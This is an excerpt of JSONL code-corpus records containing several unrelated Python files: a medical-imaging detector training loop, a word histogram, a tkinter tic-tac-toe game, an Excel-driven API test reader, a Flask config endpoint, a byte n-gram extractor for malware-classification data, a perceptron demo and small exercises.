use_tqdm else data_loader\n    for i, (input, target, coord) in enumerate(pbar):\n        input, target, coord = input.to(device), target.to(device), coord.to(device)\n        # print('input.shape = ', input.shape)\n        # Compute output\n        output, recon = net(input, coord)\n        loss = criterion(output, target, input, recon, train=True)\n        \n        # Compute gradient and do optimizer step\n        optimizer.zero_grad()\n        loss[0].backward()\n        optimizer.step()\n\n        # Record the loss to metrics\n        loss[0] = loss[0].item()\n        metrics.append(loss)\n\n        # Adjust learning rate\n        if lr_adjuster.iteration_type == 'mini_batch':\n            lr_adjuster.adjust(optimizer, cur_iter)\n        cur_iter += 1\n\n    end_time = time.time()\n\n    metrics = np.asarray(metrics, np.float32)\n    eps = 1e-9\n    total_postive = np.sum(metrics[:, 7])\n    total_negative = np.sum(metrics[:, 9])\n    total = total_postive + total_negative\n    tpn = np.sum(metrics[:, 6])\n    tnn = np.sum(metrics[:, 8])\n    fpn = total_negative - tnn\n    fnn = total_postive - tpn\n    accuracy = 100.0 * (tpn + tnn) / total\n    precision = 100.0 * tpn / (tpn + fpn + eps)\n    recall = 100.0 * tpn / (tpn + fnn + eps)\n    f1_score = 2 * precision * recall / (precision + recall + eps)\n\n    lr = lr_adjuster.get_learning_rate(optimizer)\n    print('Epoch %03d (lr %.6f)' % (epoch, lr))\n    print('Train:      tpr %3.2f, tnr %3.2f, total pos %d, total neg %d, time %3.2f' % (\n        100.0 * tpn / total_postive,\n        100.0 * tnn / total_negative,\n        total_postive,\n        total_negative,\n        end_time - start_time))\n    print('Train:      Acc %3.2f, P %3.2f, R %3.2f, F1 %3.2f' % (\n        accuracy,\n        precision,\n        recall,\n        f1_score))\n    print('loss %2.4f, classify loss %2.4f, regress loss %2.4f, %2.4f, %2.4f, %2.4f, recon_loss %2.4f' % (\n        np.mean(metrics[:, 0]),\n        np.mean(metrics[:, 1]),\n        np.mean(metrics[:, 2]),\n        np.mean(metrics[:, 3]),\n        np.mean(metrics[:, 4]),\n        np.mean(metrics[:, 5]),\n        np.mean(metrics[:, 10])))\n    print()\n\n    # Log the scalar values\n    info = {'Train/LR': lr,\n            'Train/TPN': tpn,\n            'Train/TNN': tnn,\n            'Train/FPN': fpn,\n            'Train/FNN': fnn,\n            'Train/Accuracy': accuracy,\n            'Train/Precision': precision,\n            'Train/Recall': recall,\n            'Train/F1_Score': f1_score,\n            'Train/loss': np.mean(metrics[:, 0]),\n            'Train/classify loss': np.mean(metrics[:, 1]),\n            'Train/reconstruction loss': np.mean(metrics[:, 10])\n            }\n    for tag, value in info.items():\n        writer.add_scalar(tag, value, epoch)\n\ndef validate(data_loader, net, criterion, epoch, save_dir):\n    start_time = time.time()\n\n    # Switch to evaluate mode\n    net.eval()\n\n    metrics = []\n\n    pred = 0\n    targ = 0\n    global f1\n    with torch.no_grad():\n        pbar = tqdm(data_loader, ncols = 70) if use_tqdm else data_loader\n        for i, (input, target, coord) in enumerate(pbar):\n            input, target, coord = input.to(device), target.to(device), coord.to(device)\n\n            # Compute output and loss\n            output, recon = net(input, coord)\n            loss = criterion(output, target, input, recon, train=False)\n            loss[0] = loss[0].item()\n            metrics.append(loss)\n\n    end_time = time.time()\n\n    metrics = np.asarray(metrics, np.float32)\n    eps = 1e-9\n    total_postive = np.sum(metrics[:, 7])\n    total_negative = np.sum(metrics[:, 9])\n    total = total_postive + total_negative\n    tpn = np.sum(metrics[:, 6])\n    tnn = np.sum(metrics[:, 8])\n    fpn = total_negative - tnn\n    fnn = total_postive - tpn\n    accuracy = 100.0 * (tpn + tnn) / total\n    precision = 100.0 * tpn / (tpn + fpn + eps)\n    recall = 100.0 * tpn / (tpn + fnn + eps)\n    f1_score = 2 * precision * recall / (precision + recall + eps)\n\n   \n    print('Valid:      tpr %3.2f, tnr %3.2f, total pos %d, total neg %d, time %3.2f' % (\n        100.0 * tpn / total_postive,\n        100.0 * tnn / total_negative,\n        total_postive,\n        total_negative,\n        end_time - start_time)\n          )\n    print('Valid:      Acc %3.2f, P %3.2f, R %3.2f, F1 %3.2f' % (\n        accuracy,\n        precision,\n        recall,\n        f1_score)\n          )\n    print('loss %2.4f, classify loss %2.4f, regress loss %2.4f, %2.4f, %2.4f, %2.4f, recon_loss %2.4f' % (\n        np.mean(metrics[:, 0]),\n        np.mean(metrics[:, 1]),\n        np.mean(metrics[:, 2]),\n        np.mean(metrics[:, 3]),\n        np.mean(metrics[:, 4]),\n        np.mean(metrics[:, 5]),\n        np.mean(metrics[:, 10]))\n          )\n    print()\n\n    # Log the scalar values\n    info = {'Valid/TPN': tpn,\n            'Valid/TNN': tnn,\n            'Valid/FPN': fpn,\n            'Valid/FNN': fnn,\n            'Valid/Accuracy': accuracy,\n            'Valid/Precision': precision,\n            'Valid/Recall': recall,\n            'Valid/F1_Score': f1_score,\n            'Valid/total loss': np.mean(metrics[:, 0]),\n            'Valid/classify loss': np.mean(metrics[:, 1]),\n            'Valid/reconstruction loss': np.mean(metrics[:, 10])\n            }\n    for tag, value in info.items():\n        writer.add_scalar(tag, value, epoch)\n\n    val_loss = np.mean(metrics[:, 0])\n    return val_loss\n\ndef test(data_loader, net, get_pbb, save_dir, config):\n    start_time = time.time()\n    bbox_dir = Path(save_dir)/'bbox'\n\n    if not bbox_dir.is_dir():\n        os.makedirs(bbox_dir)\n    print('Save pbb/lbb in {}'.format(bbox_dir))\n\n    net.eval()\n    split_comber = data_loader.dataset.split_comber\n\n    pbar = tqdm(data_loader, ncols = 70) if use_tqdm else data_loader\n    for i_name, (data, target, coord, nzhw) in enumerate(pbar):\n        target = [np.asarray(t, np.float32) for t in target]\n        lbb = target[0]\n        nzhw = nzhw[0]\n        name = os.path.basename(data_loader.dataset.filenames[i_name]).split('_clean.npy')[0]\n        # print([i_name, name])\n        data = data[0][0]\n        # print('data.shape = ', data.shape)   ######################################################\n        coord = coord[0][0]\n        # isfeat = net.output_feature\n        isfeat = False\n        splitlist = list(range(0, len(data)+1, args.n_test))\n\n        if splitlist[-1] != len(data):\n            splitlist.append(len(data))\n\n        outputlist = []\n        featurelist = []\n\n        with torch.no_grad():\n            for i in range(len(splitlist)-1):\n                input = data[splitlist[i]:splitlist[i+1]].to(device)\n                inputcoord = coord[splitlist[i]:splitlist[i+1]].to(device)\n                if isfeat:\n                    feature, output, recon = net(input, inputcoord)\n                    featurelist.append(feature.detach().cpu().numpy())\n                else:\n                    output, recon = net(input, inputcoord)\n                outputlist.append(output.detach().cpu().numpy())\n        output = np.concatenate(outputlist, axis=0)\n        output = split_comber.combine(output, nzhw=nzhw)\n        thresh = config['conf_thresh']\n        pbb, mask = get_pbb(output, thresh, ismask=True)\n        # Save nodule prediction\n        np.save(os.path.join(bbox_dir, name + '_pbb.npy'), pbb)\n        # Save nodule ground truth\n        np.save(os.path.join(bbox_dir, name + '_lbb.npy'), lbb)\n\n        if isfeat:\n            feature = np.concatenate(featurelist,0).transpose([0,2,3,4,1])[:,:,:,:,:,np.newaxis]\n            feature = split_comber.combine(feature, nzhw=nzhw)[...,0]\n            feature_selected = feature[mask[0], mask[1], mask[2]]\n            np.save(os.path.join(bbox_dir, name+'_feature.npy'), feature_selected)\n\n    end_time = time.time()\n    print('elapsed time is %3.2f seconds' % (end_time - start_time))\n    print()\n    print()\n\ndef save_checkpoint(state, is_best, filename):\n    torch.save(state, filename)\n    if is_best:\n        shutil.copyfile(filename, os.path.join(os.path.dirname(filename), 'best_loss.ckpt'))\n\n\n\nif __name__ == '__main__':\n    status = main()\n    sys.exit(status)\n\n","sub_path":"main_detector_recon.py","file_name":"main_detector_recon.py","file_ext":"py","file_size_in_byte":16558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"491178240","text":"import random\nimport re\n\n\n\ndef histogram(file_name):\n    #.0 Declear an empty dictionaries for words, frequency and merge\n    words = []\n    frequency = []\n    merge = []\n    # .1 Open on read mode  \n    file_object = open(file_name, \"r\", encoding=\"utf-8-sig\")\n    # .2 Assigned file read to a variable\n    no_punctuation_file = file_object.read()\n    # .3 Use regular expresion to remove puntuation\n    no_punctuation_file = re.sub(r'[^\\w\\s]','',no_punctuation_file)\n    # .4 Storage an array of words without puntuations\n    word_count = no_punctuation_file.split()\n    #.5 Itinirate the array of words\n    for word in word_count:\n        #.6 If word not in words\n        if word not in words:\n            #.7 append word to words \n            words.append(word)\n            #.8 append one to frequency\n            frequency.append(1)\n        else:\n            #.9 else find the index of the word in words\n            index = words.index(word)\n            #.10 add one to the frequency index\n            frequency[index] += 1\n    #.11 merge list of words and list of frequency into a list of list according indexes ex: [1,2] and [a,b] = [[1,a],[2,b]]    \n    merge = [(words[i], frequency[i]) for i in range(0, len(words))]\n    # print(merge)\n    #.12 Return words dictionary\n    # print(type(merge[1]))\n    return merge\n    \n\n\n# Define function that takes and histogram and return a unique word's count\ndef unique_words(histogram):\n    #.1 Empty list to count the len\n    number_of_unique_words = []\n    #.2 Itinirate the dictionary\n    for word, count in histogram:\n        #.3 Words with value 1 or unique words\n        if count == 1:\n            #.4 Append unique words to the list\n            number_of_unique_words.append(word)\n    #.5 Return unique word's count\n    print(\"Unique Words\", len(number_of_unique_words))\n    return len(number_of_unique_words)\n    \n\n# Define a function that takes a word and an histogram and return the frequency of the word\ndef frequency(input_word, histogram):\n    #.1 Itinirate the dictionary\n    for word, count in histogram:\n        #.2 compare the word input to key\n        if word == input_word:\n            #.3 return the value or the frequency total\n            print(count)\n            return count\n        \n    #.4 return a message if the word is not in the histogram\n    print(\"The word: {} is excluded in this histogram\".format(input_word))\n    return \"The word: {} is excluded in this histogram\".format(input_word)\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n    # histogram(\"one fish two fish red fish blue fish\")\n    histogram(\"Frankenstein.txt\")\n    # unique_words(histogram(\"Frankenstein.txt\"))\n    # frequency(\"Frankenstein\", histogram(\"Frankenstein.txt\"))\n\n\n\n\n    ","sub_path":"Code/histogram_tuples.py","file_name":"histogram_tuples.py","file_ext":"py","file_size_in_byte":2712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"455887221","text":"from tkinter import *\r\nimport tkinter.font as font\r\n\r\n#global variables\r\nmove=0\r\nchoice = [\"X\",\"O\"]\r\np = {0:[],1:[]}\r\n\r\nacombo = {0:[0,1,2],1:[3,4,5],2:[6,7,8],3:[0,3,6],4:[1,4,7],5:[2,5,8],6:[0,4,8],7:[2,4,6]}\r\n\r\n#methods\r\ndef click(a):\r\n\tglobal move\r\n\ttext[a].set(choice[move%2])\r\n\tp[move%2].append(a)\r\n\tmove+=1\r\n\tb[a][\"state\"]=DISABLED\r\n\tcheck()\r\n\r\n\r\ndef check():\r\n\tglobal p\r\n\tflg = True\r\n\tfor i in range(8):\r\n\t\tc = acombo[i]\r\n\t\tflg = True\r\n\t\tfor j in c:\r\n\t\t\tif(j not in p[0]):\r\n\t\t\t\tflg = False\r\n\t\t\t\tbreak\r\n\t\tif flg==True:\r\n\t\t\tp1text.set(\"Player 1: WINS\")\r\n\t\t\tp2text.set(\"Player 2: LOST\")\r\n\t\t\tfor i in range(9):\r\n\t\t\t\tb[i][\"state\"] = DISABLED\r\n\t\t\treturn \r\n\tfor i in range(8):\r\n\t\tc = acombo[i]\r\n\t\tflg = True\r\n\t\tfor j in c:\r\n\t\t\tif(j not in p[1]):\r\n\t\t\t\tflg = False\r\n\t\t\t\tbreak\r\n\t\tif flg==True:\r\n\t\t\tp1text.set(\"Player 1: LOST\")\r\n\t\t\tp2text.set(\"Player 2: WINS\")\r\n\t\t\tfor i in range(9):\r\n\t\t\t\tb[i][\"state\"] = DISABLED\r\n\t\t\treturn\r\n\tif move == 9:\r\n\t\tp1text.set(\"Player 1: DRAW\")\r\n\t\tp2text.set(\"Player 2: DRAW\")\r\n\r\n\t\t\r\n#frame creation\r\nif __name__==\"__main__\": \r\n\tr = Tk()\r\n\tr.title(\"TicTacToe\")\r\n\tr.geometry(\"690x800\")\r\n\r\n\t#labels\r\n\tp1text = StringVar()\r\n\tp2text = StringVar()\r\n\tp1text.set(\"Player 1: X\")\r\n\tp2text.set(\"Player 2: O\")\r\n\tl1 = Label(r,textvariable=p1text,font=\"times 22\",fg=\"red\")\r\n\tl1.grid(row=0,column=0)\r\n\tl2 = Label(r,textvariable=p2text,font=\"times 22\",fg=\"green\")\r\n\tl2.grid(row=0,column=2)\r\n\r\n\t\r\n\ttext =[]\r\n\tb=[]\r\n\tfor i in range(9):\r\n\t\ttext.append(StringVar())\r\n\r\n\r\n\t#Buttons\r\n\tb.append(Button(r,textvariable=text[0],height=10,width=20,command=lambda:click(0),font=\"times 15\",fg=\"black\"))\r\n\tb[0].grid(row=1,column=0)\r\n\tb.append(Button(r,textvariable=text[1],height=10,width=20,command=lambda:click(1),font=\"times 15\",fg=\"black\"))\r\n\tb[1].grid(row=1,column=1)\r\n\tb.append(Button(r,textvariable=text[2],height=10,width=20,command=lambda:click(2),font=\"times 15\",fg=\"black\"))\r\n\tb[2].grid(row=1,column=2)\r\n\tb.append(Button(r,textvariable=text[3],height=10,width=20,command=lambda:click(3),font=\"times 15\",fg=\"black\"))\r\n\tb[3].grid(row=2,column=0)\r\n\tb.append(Button(r,textvariable=text[4],height=10,width=20,command=lambda:click(4),font=\"times 15\",fg=\"black\"))\r\n\tb[4].grid(row=2,column=1)\r\n\tb.append(Button(r,textvariable=text[5],height=10,width=20,command=lambda:click(5),font=\"times 15\",fg=\"black\"))\r\n\tb[5].grid(row=2,column=2)\r\n\tb.append(Button(r,textvariable=text[6],height=10,width=20,command=lambda:click(6),font=\"times 15\",fg=\"black\"))\r\n\tb[6].grid(row=3,column=0)\r\n\tb.append(Button(r,textvariable=text[7],height=10,width=20,command=lambda:click(7),font=\"times 15\",fg=\"black\"))\r\n\tb[7].grid(row=3,column=1)\r\n\tb.append(Button(r,textvariable=text[8],height=10,width=20,command=lambda:click(8),font=\"times 15\",fg=\"black\"))\r\n\tb[8].grid(row=3,column=2)\r\n\tr.mainloop()\r\n\t","sub_path":"TicTac.py","file_name":"TicTac.py","file_ext":"py","file_size_in_byte":2773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"152958501","text":"#!/usr/bin/env python\n#-*- coding:utf-8 -*-\n\nimport json\nimport openpyxl\n\n#3 定义遍历case类\n#二、把参数写活，从excel读取\n# path1 = r\"D:\\PycharmProjects\\xiaoqiang\\base_181027\\a1接口层框架设计1-0326\\testcase.xlsx\"\n\n#定义3个全局变量\npath1 = r\"D:\\PycharmProjects\\xiaoqiang\\base_181027\\a1接口层框架设计1-0326\\src9\\testcase2.xlsx\"\n\n# 1 打开工作簿文件\nwb1 = openpyxl.load_workbook(path1)  # 1打开excel文件（类似打开文件对象）\n# print(\"获取excel文件-工作簿的所有工作表名字\",wb1.get_sheet_names()) #2返回工作表的名字作为列表的元素\n\n# 2 获取指定工作表\nsh1 = wb1.get_sheet_by_name(\"Sheet1\")  # 3指定要操作的工作表sheet1\n\nclass Forcase:\n    def forcase(self):\n        # path1 = r\"D:\\PycharmProjects\\xiaoqiang\\base_181027\\a1接口层框架设计1-0326\\src8\\testcase2.xlsx\"\n        #\n        # #1 打开工作簿文件\n        # wb1 = openpyxl.load_workbook(path1)  #1打开excel文件（类似打开文件对象）\n        # # print(\"获取excel文件-工作簿的所有工作表名字\",wb1.get_sheet_names()) #2返回工作表的名字作为列表的元素\n        #\n        # #2 获取指定工作表\n        # sh1 = wb1.get_sheet_by_name(\"Sheet1\")  #3指定要操作的工作表sheet1\n        # # print(\"获取指定工作表的名字\",sh1.title) #3获取指定工作表的名字 Sheet1\n\n        # #003 获取最大的列数和最大的行数\n\n        max_row1 = sh1.max_row\n        # print(\"获取最大行数\",max_row1)    #3\n        max_column1 = sh1.max_column\n        # print(\"获取最大列数\",sh1.max_column)  #12\n\n        #2\n        li1 = []\n        for i in range(max_row1-1):  # 获取每一行的数据\n            # 注意从单元格取出来的数据都要replace('\\n','').replace('\\r','')   去掉空格或者换行\n            url1 = sh1.cell(row=i + 2, column=3).value\n            # print(url1)\n            url2 = sh1.cell(row=i + 2, column=4).value\n            # print(url2)\n            url= url1+url2\n            # print(url)\n            method1 = sh1.cell(row=i + 2, column=5).value  #从第二行开始\n            # print(method1)\n            data_type1 = sh1.cell(row=i + 2, column=6).value\n            # print(data_type1)\n            params1 = sh1.cell(row=i + 2, column=7).value#特别注意:从excel读取的请求数据是\n            # '{\"key\": \"e711bc6362b3179f5a28de7fd3ee4ace\", \"date\": \"2016-5-14\"}',这个是json字符串，而不是python字典\n            #  json字符串在python中使用前，必须先将json转换成字典才能使用（否则报错）\n            #  json字符串  '{\"key\": \"e711bc6362b3179f5a28de7fd3ee4ace\", \"date\": \"2016-5-14\"}'\n            #  字典         {\"key\": \"e711bc6362b3179f5a28de7fd3ee4ace\", \"date\": \"2016-5-14\"}\n\n            # JSON到字典转化：\n            params1 = json.loads(params1)\n            # print(params1)\n            # print(type(params1))\n\n            check_point1 = sh1.cell(row=i + 2, column=8).value\n            # print(check_point1)\n            # print(type(check_point1))  #<class 'str'>\n            # 特别注意:从excel读取的请求数据是 '{\"error_code\":0}'，这个是json字符串，而不是python字典\n            # json字符串在python中使用前，必须先将json转换成字典才能使用（否则报错）\n            # JSON到字典转化：\n            check_point1 = json.loads(check_point1)\n            # print(type(check_point1)) #<class 'dict'>\n\n            yes_no1 = sh1.cell(row=i + 2, column=10).value\n            # print(yes_no1)\n            # print(type(yes_no1))\n\n            if yes_no1 != \"是\":\n                continue #跳出当次迭代，继续下一次迭代\n\n            headers1 = {}\n            li1.append((url, params1, headers1, check_point1, method1, data_type1,yes_no1,i+2))\n            # return (url, params1, headers1, check_point1, method1, data_type1,yes_no1,i+2)\n        # print(li1)\n        return li1\n\n            # #写入excel\n            # #1先写死--ok\n            # #2先判断，再写死\n            #\n            # sh1.cell(row=2, column=11).value = \"通过\"\n            # wb1.save(path1)\n            # # 注意：写入单元格后，必须save后，才能生效，没有save的话，写入是没有生效的\n            # # save的时候，当前的excel文件必须是关闭的，如果是打开的，会出现报错\n            # # PermissionError: [Errno 13] Permission denied:\n\n            # # 新建对象\n            # test1 = Interface_test(url, params1, headers1, check_point1, method1, data_type1,yes_no1,i)  # 自动执行构造方法，传入参数\n            #ValueError: Row or column values must be at least 1\n            # print(i+2)  #\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"other/a1接口层框架设计1-0326/src9/a2_forcase.py","file_name":"a2_forcase.py","file_ext":"py","file_size_in_byte":4734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"486199550","text":"\"\"\"\nCopyright ©2020. The Regents of the University of California (Regents). All Rights Reserved.\n\nPermission to use, copy, modify, and distribute this software and its documentation\nfor educational, research, and not-for-profit purposes, without fee and without a\nsigned licensing agreement, is hereby granted, provided that the above copyright\nnotice, this paragraph and the following two paragraphs appear in all copies,\nmodifications, and distributions.\n\nContact The Office of Technology Licensing, UC Berkeley, 2150 Shattuck Avenue,\nSuite 510, Berkeley, CA 94720-1620, (510) 643-7201, otl@berkeley.edu,\nhttp://ipira.berkeley.edu/industry-info for commercial licensing opportunities.\n\nIN NO EVENT SHALL REGENTS BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT, SPECIAL,\nINCIDENTAL, OR CONSEQUENTIAL DAMAGES, INCLUDING LOST PROFITS, ARISING OUT OF\nTHE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF REGENTS HAS BEEN ADVISED\nOF THE POSSIBILITY OF SUCH DAMAGE.\n\nREGENTS SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE\nSOFTWARE AND ACCOMPANYING DOCUMENTATION, IF ANY, PROVIDED HEREUNDER IS PROVIDED\n\"AS IS\". REGENTS HAS NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES,\nENHANCEMENTS, OR MODIFICATIONS.\n\"\"\"\n\nimport json\n\nfrom diablo import __version__ as version\nfrom diablo.api.util import get_search_filter_options\nfrom diablo.lib.berkeley import term_name_for_sis_id\nfrom diablo.lib.http import tolerant_jsonify\nfrom diablo.models.approval import NAMES_PER_PUBLISH_TYPE\nfrom diablo.models.email_template import EmailTemplate\nfrom diablo.models.room import Room\nfrom flask import current_app as app\n\n\n@app.route('/api/config')\ndef app_config():\n    term_id = app.config['CURRENT_TERM_ID']\n    return tolerant_jsonify({\n        'canvasBaseUrl': app.config['CANVAS_BASE_URL'],\n        'courseCaptureExplainedUrl': app.config['COURSE_CAPTURE_EXPLAINED_URL'],\n        'courseCapturePoliciesUrl': app.config['COURSE_CAPTURE_POLICIES_URL'],\n        'currentTermId': term_id,\n        'currentTermName': term_name_for_sis_id(term_id),\n        'devAuthEnabled': app.config['DEVELOPER_AUTH_ENABLED'],\n        'diabloEnv': app.config['DIABLO_ENV'],\n        'ebEnvironment': app.config['EB_ENVIRONMENT'] if 'EB_ENVIRONMENT' in app.config else None,\n        'emailTemplateTypes': EmailTemplate.get_template_type_options(),\n        'publishTypeOptions': NAMES_PER_PUBLISH_TYPE,\n        'roomCapabilityOptions': Room.get_room_capability_options(),\n        'searchFilterOptions': get_search_filter_options(),\n        'searchItemsPerPage': app.config['SEARCH_ITEMS_PER_PAGE'],\n        'supportEmailAddress': app.config['EMAIL_DIABLO_SUPPORT'],\n        'timezone': app.config['TIMEZONE'],\n    })\n\n\n@app.route('/api/version')\ndef app_version():\n    v = {\n        'version': version,\n    }\n    build_stats = load_json('config/build-summary.json')\n    if build_stats:\n        v.update(build_stats)\n    else:\n        v.update({\n            'build': None,\n        })\n    return tolerant_jsonify(v)\n\n\ndef load_json(relative_path):\n    try:\n        file = open(app.config['BASE_DIR'] + '/' + relative_path)\n        return json.load(file)\n    except (FileNotFoundError, KeyError, TypeError):\n        return None\n","sub_path":"diablo/api/config_controller.py","file_name":"config_controller.py","file_ext":"py","file_size_in_byte":3299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"526032763","text":"import collections\nimport glob\nfrom nltk import ngrams\nfrom malwareEncoder import MalwareEncoder\nfrom malware import Malware\nfrom gram import Gram\nfrom ngram import Ngram\nimport os.path\n\n\nmalw = Malware(\"bla\", [Ngram(2, [Gram([\"00\", \"CC\"],123, 0.1,0.01)])], )\n\nn = 4\n\n#MalwareEncoder.encode(malw)\n\nallfiles = (glob.glob('D:/GIT/**/*.bytes',recursive=True))\n\ndef DetectAndWriteMalware(gramsI):\n  #Ngram: contains n for the length of the first tupel and gramps for the value. Ngram (n, List[Gram])\n  #Example: object = new Ngram (2, (('CC', 'CC'), 218684)\n  #         (('00', '00'), 29667)\n  #         (('??', '??'), 10793) )\n  #Gram: (('CC', 'CC'), 218684) + probability\n  #all n-grams \n  ngram = Ngram(None, None)\n  for x in allfiles:\n    fileName = x.split('.')[0] + '.json'\n    if not os.path.isfile(fileName):\n      file = open(fileName, \"x\") \n   \n    for p in range(2,(gramsI+1)): # geh von 1 bis 6(gramsI) durch\n      ngram.n = p\n      f = open(x,\"r\")\n      grams = ngrams(f.read().split(), p)\n      gramsCounter = collections.Counter(grams) # das erzeugt  (('00', '00'), 29667)\n      \n      filterList = list(filter(lambda x : len(x[0][0]) !=8 or x[1] != 1, gramsCounter.most_common()))\n      # for gramsi in gramsCounter:\n      #   if len(gramsi[0][0]) != 8 or gramsi[1] != 1:\n      #     filterListNew.append(gramsi)\n      grams2 = [Gram(x[0], x[1], None, None) for x in filterList]\n      ngram.grams = grams2\n      #calculate sum of all grams in the whole file\n      summe = sum([y[1] for y in filterList])\n\n      #calculate the Probabilty of each gram\n      listOfProbability = [x[1]/summe for x in filterList]\n      for i in range(len(ngram.grams)):\n        ngram.grams[i].probability = listOfProbability[i]\n      print(ngram.grams[0])\n      malware = Malware('Malware_' + str(p), ngram, None)\n      file = open(fileName, \"w\")\n      malwarEncoder = MalwareEncoder()\n      file.write(malwarEncoder.encode(malware)) \n      file.close() \n    # for grams in gramsCounter.most_common():\n    #   if len(grams[0][0]) < 8 or grams[1] != 1:\n    #     a.append(grams[-1])\n    #     print(grams)\n    #     summ = sum(a)\n    # for c in a:\n    #     perc = c/summ * 100\n    #     percent.append(perc)  \n       \nDetectAndWriteMalware(4)","sub_path":"src/py/n-gram-extractor.py","file_name":"n-gram-extractor.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"12916174","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Circle\n\nclass Point:\n\n    def __init__(self):\n        self.x = np.random.random_sample() * 2 - 1\n        self.y = np.random.random_sample() * 2 - 1\n        if self.x**2 + self.y**2 <= 0.25:\n            self.label = 1\n        else:\n            self.label = -1\n\n\nclass Perceptron():\n\n    def __init__(self, n):\n        self.W = np.random.randn(n) * 0.001\n\n    def ActivationFunctionSign(self, data):\n        return np.sign(data)\n\n    def predict(self, inputs):\n        data = self.W.dot(inputs)\n        output = self.ActivationFunctionSign(data)\n        return output\n\n    def train(self, data, label):\n        prediction = self.predict(data)\n        loss = label - prediction\n        self.W += data * loss * 0.01\n\n\ntrain_size = 100\npoints = [Point() for i in range(train_size)]\n\nbrain = Perceptron(3)\nfor p in points:\n    brain.train(np.array([1, p.x, p.y]), p.label)\n\nfor p in points:\n    if brain.predict(np.array([1, p.x, p.y])) == p.label:\n        plt.plot(p.x, p.y, color='black', marker='o', markersize='10')\n        plt.plot(p.x, p.y, color='green', marker='o', markersize='7')\n    else:\n        plt.plot(p.x, p.y, color='black', marker='o', markersize='10')\n        plt.plot(p.x, p.y, color='red', marker='o', markersize='7')\n\n\n\nax = plt.gcf().gca()\nax.add_artist(Circle((0, 0), 0.5, color='green', fill=False))\nplt.plot([-1, 1], [(-brain.W[0] + brain.W[1]) / brain.W[2], (-brain.W[0] - brain.W[1]) / brain.W[2]], color='red')\nplt.show()\n\n","sub_path":"ML/MachineLearningBad.py","file_name":"MachineLearningBad.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"400491988","text":"import sys\nsys.stdin = open('input.txt', 'r')\n\nkey_pad = {\n    '2' : ['a', 'b', 'c'],\n    '3' : ['d', 'e', 'f'],\n    '4' : ['g', 'h', 'i'],\n    '5' : ['j', 'k', 'l'],\n    '6' : ['m', 'n', 'o'],\n    '7' : ['p', 'q', 'r', 's'],\n    '8' : ['t', 'u', 'v'],\n    '9' : ['w', 'x', 'y', 'z']\n}\n\nfor a in range(int(input())):\n    S, N = map(str, input().split())\n    words = list(map(str, input().split()))\n    correct_cnt = 0\n    for word in words:\n        shorted_keynum = ''\n        for letter in word:\n            for number, alpha in key_pad.items():\n                if letter in alpha:\n                    shorted_keynum += number\n                    break\n        if shorted_keynum == S:\n            correct_cnt += 1\n    print('#{} {}'.format(a + 1, correct_cnt))","sub_path":"02_algorithm/sw_expert_academy/code_problem/all_problem/4261.py","file_name":"4261.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"637871022","text":"class claseConjunto:\n    __listaConjuntos = []\n\n    def __init__(self, lista = []):\n        if(type(lista) == type(self.__listaConjuntos)):\n            self.__listaConjuntos = lista\n        else:\n            print(\"Los datos deben ser de tipo lista.\")\n    \n    def getLista(self):\n        return self.__listaConjuntos\n\n    def mostrar(self):\n        print(self.__listaConjuntos)\n\n    #Sobrecarga de Operador \"+\"\n    def __add__(self, otroConjunto):\n        union = claseConjunto(self.__listaConjuntos)\n        lista = union.getLista()\n        lista.extend(otroConjunto.getLista())\n        \n        unicos = []\n\n        for i in range(len(lista) -1, -1, -1):\n            if lista[i] not in unicos:\n                unicos.append(lista[i])\n            else:\n                lista.remove(lista[i])\n        return lista\n    \n    #Sobrecarga de Operador \"-\"\n    def __sub__(self, otroConjunto):\n        primerlista = claseConjunto(self.__listaConjuntos)\n        lista1 = primerlista.getLista()\n        lista2 = otroConjunto.getLista() \n        i = 0\n        while i < len(lista2) - 1:\n            j = 0\n            while j < len(lista1) - 1:\n                if(lista2[i] == lista1[j]):\n                    lista1.remove(lista2[i])\n                j += 1\n            i += 1\n        return lista1\n\n    #Sobrecarga de Operador \"==\"\n    def __eq__(self, otroConjunto):\n        primerlista = claseConjunto(self.__listaConjuntos)\n        lista1 = primerlista.getLista()\n        lista2 = otroConjunto.getLista()\n        return lista1, lista2","sub_path":"Práctico 2/Ejercicio 8/claseConjunto.py","file_name":"claseConjunto.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
